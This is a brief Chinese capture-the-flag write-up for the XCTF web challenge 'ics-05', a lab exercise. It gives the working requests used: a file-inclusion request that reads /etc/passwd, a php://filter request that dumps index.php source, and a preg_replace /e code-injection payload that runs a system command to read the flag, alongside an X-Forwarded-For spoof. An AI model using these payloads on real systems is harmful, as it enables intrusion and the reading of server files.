本文仅作为技术讨论及分享,严禁用于任何非法用途。
前言
本题来源于XCTF 4th-CyberEarth,攻防世界WEB进阶021上是原题,题目名称为ics-05
,题目信息如下。
正文
打开题目链接,页面如下。
只有一个菜单功能可访问,也对应了题目描述“设备维护中心”的后门,所以从这开始下手,发现存在文件包含漏洞。
1 | /index.php?page=/etc/passwd |
然后利用php 文件包含读取index.php源码
1 | /index.php/?page=php://filter/convert.base64-encode/resource=index.php |
在源码中发现后门
想起以前有个php webshell就用了preg_replace执行任意代码,参考一下,成功执行命令得到flag,原理是preg_replace
函数执行一个正则表达式的搜索和替换,preg_replce
正则表达式部分包含e参数的时候,进行替换的部分会被执行。然后ip要127.0.0.1
,大家一看就知道用XFF头了,不多说,我这里这么多条是因为用了插件fakeIp
自动生成。
1 | /index.php?pat=/[checksql]/e&rep=system('cat+s3chahahaDir/flag/flag.php');&sub=saft |